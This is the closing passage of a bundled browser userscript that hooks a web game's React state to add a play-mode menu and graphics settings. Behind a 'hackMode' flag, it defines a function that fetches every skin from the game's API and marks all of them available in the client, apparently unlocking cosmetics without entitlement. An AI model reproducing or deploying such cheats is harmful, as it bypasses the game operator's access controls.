  4818. }, Symbol.toStringTag, { value: "Module" }));
  4819. async function Play(gui2) {
  4820. const f = gui2.addFolder("游玩模式");
  4821. const rootElement = await waitElement("#react-container");
  4822. function getCore() {
  4823. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4824. }
  4825. const state = getCore().state;
  4826. const waitLabel = addLabel(f, "等待进入地图");
  4827. await waitUntil(() => state.box3.state.appState === 2);
  4828. Object.assign(window, { core: getCore(), state });
  4829. waitLabel.destroy();
  4830. if (settings["flag.hackMode"]) {
  4831. Object.assign(window, {
  4832. async getAllSkin() {
  4833. const stop = startLoading();
  4834. state.box3.state.secret.availableSkin = (await getCore().brpc.skin.api.getAll()).map((e) => e.name);
  4835. stop();
  4836. Swal.fire("Got all skins", "", "success");
  4837. }
  4838. });
  4839. }
  4840. GraphicSettings(getCore, state, f);
  4841. }
  4842. const Play$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4843. __proto__: null,
  4844. default: Play
  4845. }, Symbol.toStringTag, { value: "Module" }));
  4846. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址